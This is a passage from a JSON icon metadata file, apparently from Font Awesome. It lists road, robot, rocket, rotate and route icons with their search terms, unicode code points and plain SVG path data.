        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "road-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "freeway", "highway", "pavement", "road"]
    },
    "styles": ["solid"],
    "unicode": "e565",
    "label": "Road Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "road-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "freeway", "highway", "pavement", "road"]
    },
    "styles": ["solid"],
    "unicode": "e566",
    "label": "Road Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z"
      }
    },
    "free": ["solid"]
  },
  "road-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "closed",
        "freeway",
        "highway",
        "lockdown",
        "pavement",
        "quarantine",
        "road"
      ]
    },
    "styles": ["solid"],
    "unicode": "e567",
    "label": "Road Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 32H213.2c-27.1 0-51.3 17.1-60.3 42.6L35.1 407.2c-2.1 5.9-3.1 12-3.1 18.2C32 455.5 56.5 480 86.6 480H288V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64h32V352c0-23.7 12.9-44.4 32-55.4V272c0-58.3 44.6-106.2 101.5-111.5L487.1 74.6C478 49.1 453.9 32 426.8 32H352V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zm176 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 32H213.2c-27.1 0-51.3 17.1-60.3 42.6L35.1 407.2c-2.1 5.9-3.1 12-3.1 18.2C32 455.5 56.5 480 86.6 480H288V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64h32V352c0-23.7 12.9-44.4 32-55.4V272c0-58.3 44.6-106.2 101.5-111.5L487.1 74.6C478 49.1 453.9 32 426.8 32H352V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zm176 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "road-spikes": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barrier", "roadblock", "spikes"]
    },
    "styles": ["solid"],
    "unicode": "e568",
    "label": "Road Spikes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 116.8c0-15.8 20.5-22 29.3-8.9L192 256V116.8c0-15.8 20.5-22 29.3-8.9L320 256V116.8c0-15.8 20.5-22 29.3-8.9L448 256V116.8c0-15.8 20.5-22 29.3-8.9L606.8 302.2c14.2 21.3-1.1 49.7-26.6 49.7H512 448 384 320 256 192 64V116.8zM32 384H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 116.8c0-15.8 20.5-22 29.3-8.9L192 256V116.8c0-15.8 20.5-22 29.3-8.9L320 256V116.8c0-15.8 20.5-22 29.3-8.9L448 256V116.8c0-15.8 20.5-22 29.3-8.9L606.8 302.2c14.2 21.3-1.1 49.7-26.6 49.7H512 448 384 320 256 192 64V116.8zM32 384H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "robot": {
    "aliases": {
      "unicodes": {
        "composite": ["1f916"],
        "secondary": ["10f544"]
      }
    },
    "changes": ["5.0.13", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "android",
        "automate",
        "computer",
        "cyborg",
        "face",
        "monster",
        "robot"
      ]
    },
    "styles": ["solid"],
    "unicode": "f544",
    "label": "Robot",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V96H472c39.8 0 72 32.2 72 72V440c0 39.8-32.2 72-72 72H168c-39.8 0-72-32.2-72-72V168c0-39.8 32.2-72 72-72H288V32c0-17.7 14.3-32 32-32zM208 384c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H208zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H304zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H400zM264 256a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm152 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM48 224H64V416H48c-26.5 0-48-21.5-48-48V272c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H576V224h16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0c17.7 0 32 14.3 32 32V96H472c39.8 0 72 32.2 72 72V440c0 39.8-32.2 72-72 72H168c-39.8 0-72-32.2-72-72V168c0-39.8 32.2-72 72-72H288V32c0-17.7 14.3-32 32-32zM208 384c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H208zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H304zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H400zM264 256a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm152 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM48 224H64V416H48c-26.5 0-48-21.5-48-48V272c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H576V224h16z"
      }
    },
    "free": ["solid"]
  },
  "rocket": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f135"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.7.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["aircraft", "app", "jet", "launch", "nasa", "space"]
    },
    "styles": ["solid"],
    "unicode": "f135",
    "label": "Rocket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M156.6 384.9L125.7 354c-8.5-8.5-11.5-20.8-7.7-32.2c3-8.9 7-20.5 11.8-33.8L24 288c-8.6 0-16.6-4.6-20.9-12.1s-4.2-16.7 .2-24.1l52.5-88.5c13-21.9 36.5-35.3 61.9-35.3l82.3 0c2.4-4 4.8-7.7 7.2-11.3C289.1-4.1 411.1-8.1 483.9 5.3c11.6 2.1 20.6 11.2 22.8 22.8c13.4 72.9 9.3 194.8-111.4 276.7c-3.5 2.4-7.3 4.8-11.3 7.2v82.3c0 25.4-13.4 49-35.3 61.9l-88.5 52.5c-7.4 4.4-16.6 4.5-24.1 .2s-12.1-12.2-12.1-20.9V380.8c-14.1 4.9-26.4 8.9-35.7 11.9c-11.2 3.6-23.4 .5-31.8-7.8zM384 168a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M156.6 384.9L125.7 354c-8.5-8.5-11.5-20.8-7.7-32.2c3-8.9 7-20.5 11.8-33.8L24 288c-8.6 0-16.6-4.6-20.9-12.1s-4.2-16.7 .2-24.1l52.5-88.5c13-21.9 36.5-35.3 61.9-35.3l82.3 0c2.4-4 4.8-7.7 7.2-11.3C289.1-4.1 411.1-8.1 483.9 5.3c11.6 2.1 20.6 11.2 22.8 22.8c13.4 72.9 9.3 194.8-111.4 276.7c-3.5 2.4-7.3 4.8-11.3 7.2v82.3c0 25.4-13.4 49-35.3 61.9l-88.5 52.5c-7.4 4.4-16.6 4.5-24.1 .2s-12.1-12.2-12.1-20.9V380.8c-14.1 4.9-26.4 8.9-35.7 11.9c-11.2 3.6-23.4 .5-31.8-7.8zM384 168a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "rocketchat": {
    "changes": ["5.0.0", "5.4.2", "5.8.0", "5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e8",
    "label": "Rocket.Chat",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z"
      }
    },
    "free": ["brands"]
  },
  "rockrms": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e9",
    "label": "Rockrms",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z"
      }
    },
    "free": ["brands"]
  },
  "rotate": {
    "aliases": {
      "names": ["sync-alt"],
      "unicodes": {
        "composite": ["1f504"],
        "secondary": ["10f2f1"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anticlockwise",
        "arrow",
        "counterclockwise",
        "counterclockwise arrows button",
        "exchange",
        "refresh",
        "reload",
        "rotate",
        "swap",
        "withershins"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2f1",
    "label": "Rotate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M142.9 142.9c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5c0 0 0 0 0 0H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5c7.7-21.8 20.2-42.3 37.8-59.8zM16 312v7.6 .7V440c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l41.6-41.6c87.6 86.5 228.7 86.2 315.8-1c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.2 62.2-162.7 62.5-225.3 1L185 329c6.9-6.9 8.9-17.2 5.2-26.2s-12.5-14.8-22.2-14.8H48.4h-.7H40c-13.3 0-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M142.9 142.9c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5c0 0 0 0 0 0H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5c7.7-21.8 20.2-42.3 37.8-59.8zM16 312v7.6 .7V440c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l41.6-41.6c87.6 86.5 228.7 86.2 315.8-1c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.2 62.2-162.7 62.5-225.3 1L185 329c6.9-6.9 8.9-17.2 5.2-26.2s-12.5-14.8-22.2-14.8H48.4h-.7H40c-13.3 0-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "rotate-left": {
    "aliases": {
      "names": ["rotate-back", "rotate-backward", "undo-alt"],
      "unicodes": {
        "secondary": ["10f2ea"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "control z", "exchange", "oops", "return", "swap"]
    },
    "styles": ["solid"],
    "unicode": "f2ea",
    "label": "Rotate Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48.5 224H40c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2L98.6 96.6c87.6-86.5 228.7-86.2 315.8 1c87.5 87.5 87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3c-62.2-62.2-162.7-62.5-225.3-1L185 183c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H48.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48.5 224H40c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2L98.6 96.6c87.6-86.5 228.7-86.2 315.8 1c87.5 87.5 87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3c-62.2-62.2-162.7-62.5-225.3-1L185 183c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H48.5z"
      }
    },
    "free": ["solid"]
  },
  "rotate-right": {
    "aliases": {
      "names": ["redo-alt", "rotate-forward"],
      "unicodes": {
        "secondary": ["10f2f9"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "refresh", "reload", "repeat"]
    },
    "styles": ["solid"],
    "unicode": "f2f9",
    "label": "Rotate Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M463.5 224H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1c-87.5 87.5-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M463.5 224H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1c-87.5 87.5-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5z"
      }
    },
    "free": ["solid"]
  },
  "route": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4d7"]
      }
    },
    "changes": [
      "5.0.9",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "navigation", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f4d7",
    "label": "Route",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 96c0 50.2-59.1 125.1-84.6 155c-3.8 4.4-9.4 6.1-14.5 5H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c53 0 96 43 96 96s-43 96-96 96H139.6c8.7-9.9 19.3-22.6 30-36.8c6.3-8.4 12.8-17.6 19-27.2H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-53 0-96-43-96-96s43-96 96-96h39.8c-21-31.5-39.8-67.7-39.8-96c0-53 43-96 96-96s96 43 96 96zM117.1 489.1c-3.8 4.3-7.2 8.1-10.1 11.3l-1.8 2-.2-.2c-6 4.6-14.6 4-20-1.8C59.8 473 0 402.5 0 352c0-53 43-96 96-96s96 43 96 96c0 30-21.1 67-43.5 97.9c-10.7 14.7-21.7 28-30.8 38.5l-.6 .7zM128 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
